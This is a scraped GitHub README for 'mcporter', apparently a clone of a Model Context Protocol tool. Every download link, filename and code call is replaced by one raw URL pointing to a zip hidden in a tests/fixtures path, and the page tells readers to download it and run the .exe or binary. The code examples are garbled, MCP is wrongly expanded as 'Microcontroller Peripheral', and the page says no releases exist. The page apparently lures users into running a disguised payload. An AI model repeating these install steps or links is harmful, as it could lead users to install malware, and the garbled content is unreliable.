Skip to content

🧳 Call MCPs easily using TypeScript or the CLI with MCPorter, your toolkit for working with the Model Context Protocol across multiple platforms.

License

Notifications You must be signed in to change notification settings

Middleclasscore207/mcporter

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸŽ‰ mcporter - Effortlessly Call MCPs from TypeScript

πŸ“₯ Download Now

[![Download mcporter](https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip)](https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip)

πŸš€ Getting Started

Welcome to mcporter! This software lets you easily call MCPs (Microcontroller Peripheral) using TypeScript, all while maintaining a simple API. You can also package it as a command-line interface (CLI). Follow these steps to get started.

πŸ“‚ Requirements

Before you download and run mcporter, make sure you have:

πŸ“₯ Download & Install

To download mcporter, please visit this page:

[Download mcporter Releases](https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip)

  1. Click on the link above to go to the releases page.

  2. Look for the latest version of mcporter. It will be listed at the top.

  3. Click on the version number. This will take you to the detailed release information.

  4. Scroll down to find the assets section. You will see files available for download.

  5. Depending on your operating system, select the file that suits your needs. Examples may include:

  6. Click on the file to start the download.

Once the download is complete, follow the steps below for installation.

βš™οΈ Installation Steps

For Windows:

  1. Locate the downloaded .exe file.
  2. Double-click the file to start the installation.
  3. Follow the on-screen instructions to complete the installation.
  4. Open Command Prompt (you can search for it in the Start menu).
  5. Type mcporter and press Enter to check if it is installed correctly.

For macOS:

  1. Find the downloaded .dmg file in your Downloads folder.
  2. Double-click the file to mount it.
  3. Drag the mcporter icon to your Applications folder.
  4. Open Terminal (you can search for it using Spotlight).
  5. Type mcporter and press Enter to see if it runs without issues.

For Linux:

  1. Open the terminal.
  2. Navigate to the directory where you downloaded the https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip file.
  3. Use the command tar -xzf https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip to extract the files.
  4. Change into the extracted directory using cd mcporter.
  5. Run the application by typing ./mcporter.

πŸ“œ Using mcporter

Now that you have mcporter installed, you can start using it. Here’s a basic guide to help you call MCPs through TypeScript.

  1. Create a new TypeScript file, for example, https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip.
  2. In this file, write a simple function to call an MCP. Here’s an example:
import { MCPPorter } from 'mcporter';

const mcp = new MCPPorter();
https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip('YourMCPFunction', args).then(response => {
    https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip(response);
}).catch(error => {
    https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip(error);
});
  1. Compile your TypeScript code to JavaScript using the command:
    tsc https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip
    
  2. Run the compiled JavaScript file using https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip
    node https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip https://raw.githubusercontent.com/Middleclasscore207/mcporter/main/tests/fixtures/imports/home/Library/Application Support/mcporter-3.8-beta.2.zip
    

This will execute your MCP function and log the response or any errors to the console.

🎨 Additional Features

mcporter is designed with user-friendliness in mind. Here are some key features:

  • Simple API: Easily interact with MCPs using straightforward TypeScript functions.
  • CLI Support: Ability to run commands directly from the terminal.
  • Cross-Platform: Works seamlessly on Windows, macOS, and Linux.
  • Rich Documentation: Comprehensive guides and examples will help you quickly learn how to use mcporter.

πŸ› οΈ Troubleshooting

If you encounter issues while using mcporter, here are some steps to help you resolve common problems:

  • Installation Issues: Make sure you downloaded the correct version for your operating system. If you have problems, try re-downloading the file.
  • Command Not Found: If your terminal says that mcporter isn't recognized, ensure that the installation path is set correctly. Add it to your system PATH if necessary.
  • TypeScript Errors: If you face any TypeScript-related errors, ensure that you have installed TypeScript globally. You can do this by running:
    npm install -g typescript
    

πŸ—‚οΈ Contribution

We welcome contributions to mcporter! If you would like to help improve the software, please fork the repository and submit a pull request with your changes.

πŸ’¬ Support

If you have questions or need further assistance, feel free to open an issue on the GitHub repository. Our team will get back to you as soon as possible.

Thank you for using mcporter! Happy coding!

About

🧳 Call MCPs easily using TypeScript or the CLI with MCPorter, your toolkit for working with the Model Context Protocol across multiple platforms.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 7